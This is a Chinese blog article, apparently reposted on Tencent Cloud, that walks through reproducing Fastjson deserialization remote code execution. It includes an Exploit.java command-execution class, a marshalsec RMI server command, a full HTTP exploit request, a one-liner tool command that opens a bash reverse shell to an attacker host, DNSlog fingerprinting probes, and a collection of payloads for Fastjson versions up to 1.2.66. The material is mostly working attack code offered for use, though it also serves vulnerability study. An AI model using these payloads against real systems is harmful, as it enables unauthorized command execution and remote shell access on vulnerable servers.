前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >关于fastjson特定版本RCE漏洞利用exp复现

关于fastjson特定版本RCE漏洞利用exp复现

作者头像
网络安全自修室
发布于 2021-11-25 07:22:34
发布于 2021-11-25 07:22:34
2K00
代码可运行
举报
运行总次数:0
代码可运行

0x01漏洞介绍

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

0x02影响范围

Fastjson < 1.2.68

Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有

0x03漏洞复现

下面以Fastjson 1.2.47 为例子,因为vulhub有现成的环境十分方便

下面是流程示意图

主机A:存在fastjson反序列化漏洞的主机 主机C:为RMI/LDAP服务 主机B:为构造的恶意类(包含要执行的命令)

在整个远程命令执行流程

1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)

2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

4、主机A引发恶意系统命令执行

0x04复现流程

根据上图流程和环境复现:

主机A:http://1.1.1.1:8090 (存在Fastjson漏洞主机)

主机B:http://2.2.2.2:8888 (恶意java类服务)

主机C:rmi://2.2.2.2:9999 (远程方法调用服务)

实际上主机B和C是一台机器不同端口

0x041 构造恶意方法

目标环境是openjdk:8u102,这个版本没有

com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码

使用如下payload:

其中touch /zydx666为系统命令,可以根据自己需求随意修改

注意该文件名叫Exploit.java固定格式不能变

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{<!-- -->
    public Exploit() throws Exception {<!-- -->
        Process p = Runtime.getRuntime().exec(new String[]{<!-- -->"bash", "-c", "touch /zydx666"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {<!-- -->
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {<!-- -->
    }
}

在主机B中使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javac Exploit.java

然后在主机B启一个http服务,中间件随意,但是需要能访问到Exploit.class文件,这里使用python3临时启动一个

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 -m http.server --bind 0.0.0.0 8888

0x042 开启远程方法调用rmi服务

接下来在主机C开启rmi服务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999

marshalsec-0.0.3-SNAPSHOT-all.jar

可以参考 https://github.com/mbechler/marshalsec

至此服务已经全部就绪

0x043 发送payload

接下来向主机A(存在漏洞机器)发送fastjson反序列化漏洞payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260

{<!-- -->
    "a":{<!-- -->
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{<!-- -->
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/Exploit",
        "autoCommit":true
    }
}

此时主机A收到POST请求,触发反序列化漏洞,最终执行Exploit.class 文件中的内容

我使用的是反弹shell命令

反弹shell成功:

0x05简化版攻击工具

下面提供一个简化版工具的工具

是使用https://github.com/wyzxxz/fastjson_rce_tool这位师傅写的,一键起服务和生成恶意代码整个rmi+class文件的jar包

第一步:只需要在自己的服务器上启动

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1"

第二步:发送payload

成功反弹shell

0x06 漏洞检测

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

我使用以下payload测试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

最终收到dnslog

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

POC:

要嵌套在里面zeo里面

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{<!-- -->{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{<!-- -->{"@type":"java.net.URL","val":"dnslog"}:0

0x07 多版本payload集合

影响版本:

fastjson<=1.2.24

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.41

前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.42

前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.43

前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.45

前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

影响版本:

fastjson<=1.2.47

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

影响版本:

fastjson<=1.2.62

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

影响版本:

fastjson<=1.2.66

前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

参考文章地址:https://blog.csdn.net/god_zzZ/article/details/107122487

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
安卓逆向系列教程 4.11 优酷 APK 去广告
我们先抓包,看到了api.mobile.youku.com,这个就是广告所在的域名。
ApacheCN_飞龙
2019/02/15
1K0
安卓逆向系列教程 4.11 优酷 APK 去广告
对于Android日夜间模式实现的探讨
关于 Android 的日间/夜间模式切换相信大家在平时使用 APP 的过程中都遇到过,比如知乎、简书中就有相关的模式切换。实现日间/夜间模式切换的方案也有许多种,趁着今天有空来讲一下日间/夜间模式切换的几种实现方案,也可以做一个横向的对比来看看哪种方案最好。
俞其荣
2022/07/28
2.2K0
对于Android日夜间模式实现的探讨
Xamarin 解决创建空白项目编译提示 linking references 找不到资源
在新建一个 Xamarin 应用,编译时提示了 linking references 和一些诡异的文件无法访问,原因是文件路径问题和 NuGet 还原问题
林德熙
2020/12/07
9290
Material Design 实战 之第一弹——Toolbar详解
本模块共有六篇文章,参考郭神的《第一行代码》,对Material Design的学习做一个详细的笔记,大家可以一起交流一下:
凌川江雪
2018/10/09
7800
Material Design 实战 之第一弹——Toolbar详解
Android resource linking failed
报错信息如上,摘自 the same bug in the stackoverflow。
103style
2022/12/19
8370
这些Android系统样式中的颜色属性你知道吗?
推荐阅读看完后彻底搞清楚Android中的 Attr 、 Style 、Theme
开发者
2019/12/26
2K0
这些Android系统样式中的颜色属性你知道吗?
setContentView的时候,到底发生了什么
关于setContentView方法,想必大家对这个方法既熟悉又陌生,熟悉的原因是因为基本上我们每创建一个activity,都会调用这个方法,比如:
全栈程序员站长
2022/09/13
3360
UNO 新建基础库项目构建提示 UNOB0002 错误
当咱新建了一个 UNO 的基础库或被引用的项目时,可能采用的是默认的基础库或库项目创建方法,被引用的程序集没有带上 WinUI 的黑科技,导致构建提示 UNOB0002: Project XX contains a reference to Uno Platform but does not contain a WinAppSDK compatible target framework. 失败
林德熙
2024/01/18
2130
Ubutu系统文件结构
windows中常见的磁盘格式有fat16、fat32和ntfs。windows是一个封闭的系统。无法打开ext3或者mac 日志式。
AngelNH
2020/04/15
7560
Ubutu系统文件结构
破解第一个Android程序
破解Android程序的方法通常是:使用ApkTool反编译APK文件,生成smali格式的反汇编代码;通过阅读smali文件的代码来理解程序的运行机制,找到突破口,并对代码进行修改;使用ApkTool重新编译生成APK文件并对其进行签名;运行测试——如此循环,直至程序被破解。
用户1631416
2019/05/05
3.4K0
破解第一个Android程序
Android开发笔记(一百一十九)工具栏ToolBar
在前面的博文《Android开发笔记(二十)顶部导航栏》中,我们学习了ActionBar的用法,可是ActionBar着实是不怎么好用,比如文字风格不能定制、图标不能定制,而且还存在低版本的兼容性问题,所以实际开发中大家还是不倾向使用ActionBar。为此,Android提供了加强版的工具栏控件即Toolbar,因为Toolbar继承自ViewGroup,而且可在布局文件中像其它布局视图一样使用,所以灵活性大大的提高了。既然Android都与时俱进了,那我们也不能落后,现在就来好好学学Toolbar的用法。
aqi00
2019/01/18
2K0
Android应用界面开发——自定义控件(实现俯卧撑计数器)
在介绍自定义控件之前,先学习一下关于尺寸(dp,sp,px)和Inflater的知识。
trampcr
2018/09/28
9380
Android应用界面开发——自定义控件(实现俯卧撑计数器)
win10 uwp 提示 Cannot find a Resource with the Name Key 找不到资源
这个问题其实是 UWP 的 XAML 界面提示做的不好的原因,比较难简单从提示信息里面找到对应的问题
林德熙
2022/08/12
8060
一个Demo学会用Android兼容包新控件
伟大的Google为Android推出了一系列的兼容包,最新的就是Design Support Library了,这里我们结合v7和v4中的几个控件,来主要学习Design Support Library中的几个新控件!一个Demo学会用它们!
GitOPEN
2019/01/29
1.6K0
一个Demo学会用Android兼容包新控件
Material Design 实战 之 第六弹 —— 可折叠式标题栏(CollapsingToolbarLayout) & 系统差异型的功能实现(充分利用系统状态栏空间)
顾名思义,CollapsingToolbarLayout是一个作用于Toolbar基础之上的布局,由DesignSupport库提供。
凌川江雪
2018/10/09
2.4K0
Material Design 实战 之 第六弹 —— 可折叠式标题栏(CollapsingToolbarLayout) & 系统差异型的功能实现(充分利用系统状态栏空间)
Android 样式和主题
样式是一个属性集合,用于指定单个View的外观。样式可以指定字体样式、字号、背景颜色等属性,例如: (1)在values/styles.xml文件里面设置样式格式
前端小tips
2021/11/23
1K0
Android 样式和主题
Android实战:APP换肤功能,并自动适配手机深色模式
image.png Android换肤功能已不是什么新鲜事了,市面上有很多第三方的换肤库和实现方案。 之所以选择腾讯的QMUI库来演示APP的换肤功能,主要原因: 1、换肤功能的实现过程较简单、容易理解; 2、能轻松适配Android 10 提供的Dark Mode(深色模式) ; 3、还能白嫖QMUI的各种组件、效果(这才是重要的,😁哈哈~); 1、换肤流程实现: 1.1、新建工程 通过AndroidStudio新建一个空工程(新建工程的过程,略),并添加QMUI依赖: implementation
玖柒的小窝
2021/12/06
1.3K0
Android实战:APP换肤功能,并自动适配手机深色模式
Android 10适配要点,深色主题
各位小伙伴们大家早上好,今天给大家带来一篇关于Android 10适配的原创文章。
用户1158055
2020/05/18
1.9K0
Android 10适配要点,深色主题
推荐阅读
相关推荐
安卓逆向系列教程 4.11 优酷 APK 去广告
更多 >
LV.1
这个人很懒,什么都没有留下~
目录
  • 0x01漏洞介绍
  • 0x02影响范围
  • 0x03漏洞复现
    • 下面是流程示意图
    • 在整个远程命令执行流程
  • 0x04复现流程
  • 0x041 构造恶意方法
  • 0x042 开启远程方法调用rmi服务
  • 0x043 发送payload
  • 0x05简化版攻击工具
  • 0x06 漏洞检测
    • 未知目标是否使用 Fastjson ,但站点有原始报错回显
    • 无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson
    • 最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
  • 0x07 多版本payload集合
  • fastjson<=1.2.24
  • fastjson<=1.2.41
  • fastjson<=1.2.42
  • fastjson<=1.2.43
  • fastjson<=1.2.45
  • fastjson<=1.2.47
  • fastjson<=1.2.62
  • fastjson<=1.2.66
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档